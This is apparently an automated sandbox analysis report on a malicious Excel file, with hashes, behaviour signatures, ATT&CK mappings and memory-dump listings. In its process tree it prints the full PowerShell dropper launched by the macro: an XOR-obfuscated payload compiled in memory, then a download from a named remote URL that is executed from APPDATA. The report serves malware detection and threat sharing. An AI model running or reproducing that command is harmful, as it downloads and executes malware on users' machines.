2010a35082eff3568cc93f0ae0b78b0c3c426d5f4b17d79380b0966fdf98caaf

General

Target

2010a35082eff3568cc93f0ae0b78b0c3c426d5f4b17d79380b0966fdf98caaf.xls
Size

56KB
MD5

cdddcb8694ce3a5ed4966c715a2e382a
SHA1

92d7ea6ef276c96188a5cafd30ac1a5c2a716eef
SHA256

2010a35082eff3568cc93f0ae0b78b0c3c426d5f4b17d79380b0966fdf98caaf
SHA512

668dd75f50ed7af639adc9d46d225790e8f59d3e469628ffb095ff5fdc1d51f37fe6d9a0769a5daeb228564abfd72c10fcfd56d6387e438c5c5165fc454122a8
SSDEEP

1536:lk3hOdsylKlgryzc4bNhZFGzE+cL2knAzqCXHzFp/iE:lk3hOdsylKlgryzc4bNhZFGzE+cL2knv

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://igyygyigus.com/new/smscscript090002000.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	100	1752	powershell.exe	83

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
100	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1752	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
100	powershell.exe
100	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	100	powershell.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
1752	EXCEL.EXE
1752	EXCEL.EXE
1752	EXCEL.EXE
1752	EXCEL.EXE
1752	EXCEL.EXE
1752	EXCEL.EXE
1752	EXCEL.EXE
1752	EXCEL.EXE
1752	EXCEL.EXE
1752	EXCEL.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1752 wrote to memory of 100	1752	EXCEL.EXE	86
PID 1752 wrote to memory of 100	1752	EXCEL.EXE	86

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2010a35082eff3568cc93f0ae0b78b0c3c426d5f4b17d79380b0966fdf98caaf.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden -noprofile -ExecutionPolicy RemoteSigned function v4bad81 { param($ndddb) $z717f = 'a25baab'; $r8f981d = ''; for ($i = 0; $i -lt $ndddb.length; $i+=2) { $o622e = [convert]::ToByte($ndddb.Substring($i, 2), 16); $r8f981d += [char]($o622e -bxor $z717f[($i / 2) % $z717f.length]); } return $r8f981d; } $x642a = '14415c0c064131184141070c5a6f6b47460b0f0642324b4616040c4c33475b16080c074f7b5b1604130d1161501017080104410e6f6b1117035e5c0141020e004146420e50570305076f6b1a6f6b12154241414241126e260d0d2b0c425a101549400a57470c040d5153101c3f6c6b42411215424141421147570e08024212465416080242044a4107130f42285c413215134226574132130e0120565110041211497b5b16311510415a780d05140e041e151115130b0f551512130e012f535807485a6f6b12154241414241126e260d0d2b0c425a101549400a57470c040d5153101c3f6c6b42411215424141421147570e08024212465416080242044a4107130f42285c41321513422d5d54062d08001353471b491216135b5b05410f030c571c596c6b42411215424141423a76590e280c120e40414a430a07135c500e525340486f386841414241121542411117035e5c0141121600465c0141041a1557470c41030d0e5e153408131614535932130e160451414a280f16314647420d11230556470712124e41677c0c15311613125115320818041e1517080f164154592c041632135d410702154e415d401641140b0f46150e11070e2e5e5132130e160451414b5a6c68411215424141424169710e0d280f115d471649432904405b070d52504f56590e434d42245c411018310d085c41425c41403346592f0e17072c57580d1318404d126607152d0312467010130e10410f1504000d11041b686f6b4142411215424141111553410b024107194650100f41140e5b51422c0e14047f500f0e131b497b5b1631151041565011154d42285c41321513421240564e41080c1512460b1b044b5a3f3f6f6b4142411215424141121450590b0241111553410b02410b0f461510030257550b074a486c6841121542414142414938684141424112154241414241127c0c15311613125e5b59005b5054155f412d0d0056790b031303134b1d14550303050a044a4351525454015451035607020052045106431b1c596c6b42411215424141424112154208074249590c5a0058530712085f41280c156241104f3b07135d1c6f6b414241121542414142411215196c6b4241121542414142411215424141424140501614130c41030e6f6b4142411215424141424112151f6c6b6f6b1215424141424112154241412b0f466516134115020a0050415c4226574132130e012056511004121149590c5a005853071e1514550303050a044a4353525454015451035153020752525104560201525155525602015351434b480938684141424112154241414241125c04414915020a0050415c5f417b5b163115104f6850100e486f6b121542414142411215424141196c381542414142411215424141424112154213041614405b42505a6f6b1215424141424112154241411f6c383868414142411215424141424112602b0f15321540150616320b1b57155f414937285c413215134b54093868414142411215424141424112400b0f15423b57470d415c42510938684141424112154241414241125c04414943375b471614000e31405a160402164945565a54534e41564231081b074d12051a55514e415d4016413b07135d1c4b6c6b4241121542414142411215421a6c684112154241414241121542414142411247071514100f1204596c6b4241121542414142411215421c6c68411215424141424112154241231b15576e3f41310315515d425c411941024d51504d42514a53044d4152190b05421c5a6f6b1215424141424112154241412b0f4665161341170f5f540c00060705625a0b0f1507131208422c0010125a540e4f200e0d5d562a260d0d0353594a5248596c381542414142411215424141422c53471109000e4f715a121849320046560a4d41524d12400c0c000c00555006310e0b0f4650104d415148093868414142411215424141424112780d17042f045f5a1018490c0445152b0f153215401d15025957531c610d280f1657061d4b414a42514a055250034b4d12400c0c000c00555006310e0b0f4650104d41514809386841414241121542414142411247071514100f1205596c6b42411215424141421c3f3f6b681117035e5c0141121600465c01411216135b5b054117560353515a50491115405c0c06411115407c0c486c68411215424141424149386868686b1246470b0f064213505356545256410f154000535703535400435a6f6b1215424141424112154241411115405c0c06410f5806040603415f41614110080f054f7758121518596c38154241414241121542414142075d474249080c15125c425c41525a125c425d411115407c0c4f2d070f55410a5a410b4119084253486f6b121542414142411215424141196c38154241414241121542414142411215420318160412575553525052120842220e0c175747164f350d234b4107491216137b5b4c3214001246470b0f064a081e1550484d4250041c596c6b424112154241414241121542414142415f0c565005004119084249020a00401c4a035650520006423f411003540157525539495b154d41534b411715100307565401014c2d040c06465d3f485a6f6b1215424141424112154241411f6c38386841414241121542414142411247071514100f12585b5550060309386841414241121542411c6f6b4f'; $x642a2 = v4bad81($x642a); Add-Type -TypeDefinition $x642a2; [o15b72]::rbc5492(); Start-Sleep -s 1; $m83735 = $env:APPDATA; $zeb93 = $m83735 + '\\b1bbb65.exe'; If (test-path $zeb93) {Remove-Item $zeb93}; $yee8b6 = New-Object System.Net.WebClient; $yee8b6.Headers['User-Agent'] = 'yee8b6'; $yee8b6.DownloadFile('https://igyygyigus.com/new/smscscript090002000.exe', $zeb93); Start-Process -Filepath $zeb93;
  2⤵
  - Process spawned unexpected child process
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tbe2yuny.hps.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
5KB

MD5
aef84f756c345ff0d31de3463e2bf36e

SHA1
89404752d80a41987adabba4f7ce239dbc5c6452

SHA256
d9a43e89c6c17e1709011281a505e05119b7cfbfb7973162d379746247b11f18

SHA512
9466264f85d93e538495c6a96d6da7779ab6053133f40169605314a346c71257bbc606342beaa38026947a31d1458b514a0d9a84e077638cf1109f3e01c4c80c

Download Submit
memory/100-41-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

Filesize
2.0MB

Download
memory/100-59-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

Filesize
2.0MB

Download
memory/100-42-0x00000268FC270000-0x00000268FC292000-memory.dmp

Filesize
136KB

Download
memory/1752-7-0x00007FFF69270000-0x00007FFF69280000-memory.dmp

Filesize
64KB

Download
memory/1752-39-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

Filesize
2.0MB

Download
memory/1752-0-0x00007FFF69270000-0x00007FFF69280000-memory.dmp

Filesize
64KB

Download
memory/1752-8-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

Filesize
2.0MB

Download
memory/1752-9-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

Filesize
2.0MB

Download
memory/1752-13-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

Filesize
2.0MB

Download
memory/1752-12-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

Filesize
2.0MB

Download
memory/1752-11-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

Filesize
2.0MB

Download
memory/1752-14-0x00007FFF66910000-0x00007FFF66920000-memory.dmp

Filesize
64KB

Download
memory/1752-10-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

Filesize
2.0MB

Download
memory/1752-15-0x00007FFF66910000-0x00007FFF66920000-memory.dmp

Filesize
64KB

Download
memory/1752-5-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

Filesize
2.0MB

Download
memory/1752-40-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

Filesize
2.0MB

Download
memory/1752-38-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

Filesize
2.0MB

Download
memory/1752-37-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

Filesize
2.0MB

Download
memory/1752-6-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

Filesize
2.0MB

Download
memory/1752-4-0x00007FFF69270000-0x00007FFF69280000-memory.dmp

Filesize
64KB

Download
memory/1752-3-0x00007FFF69270000-0x00007FFF69280000-memory.dmp

Filesize
64KB

Download
memory/1752-2-0x00007FFF69270000-0x00007FFF69280000-memory.dmp

Filesize
64KB

Download
memory/1752-60-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

Filesize
2.0MB

Download
memory/1752-61-0x00007FFFA928D000-0x00007FFFA928E000-memory.dmp

Filesize
4KB

Download
memory/1752-62-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

Filesize
2.0MB

Download
memory/1752-63-0x00007FFFA91F0000-0x00007FFFA93E5000-memory.dmp

Filesize
2.0MB

Download
memory/1752-1-0x00007FFFA928D000-0x00007FFFA928E000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads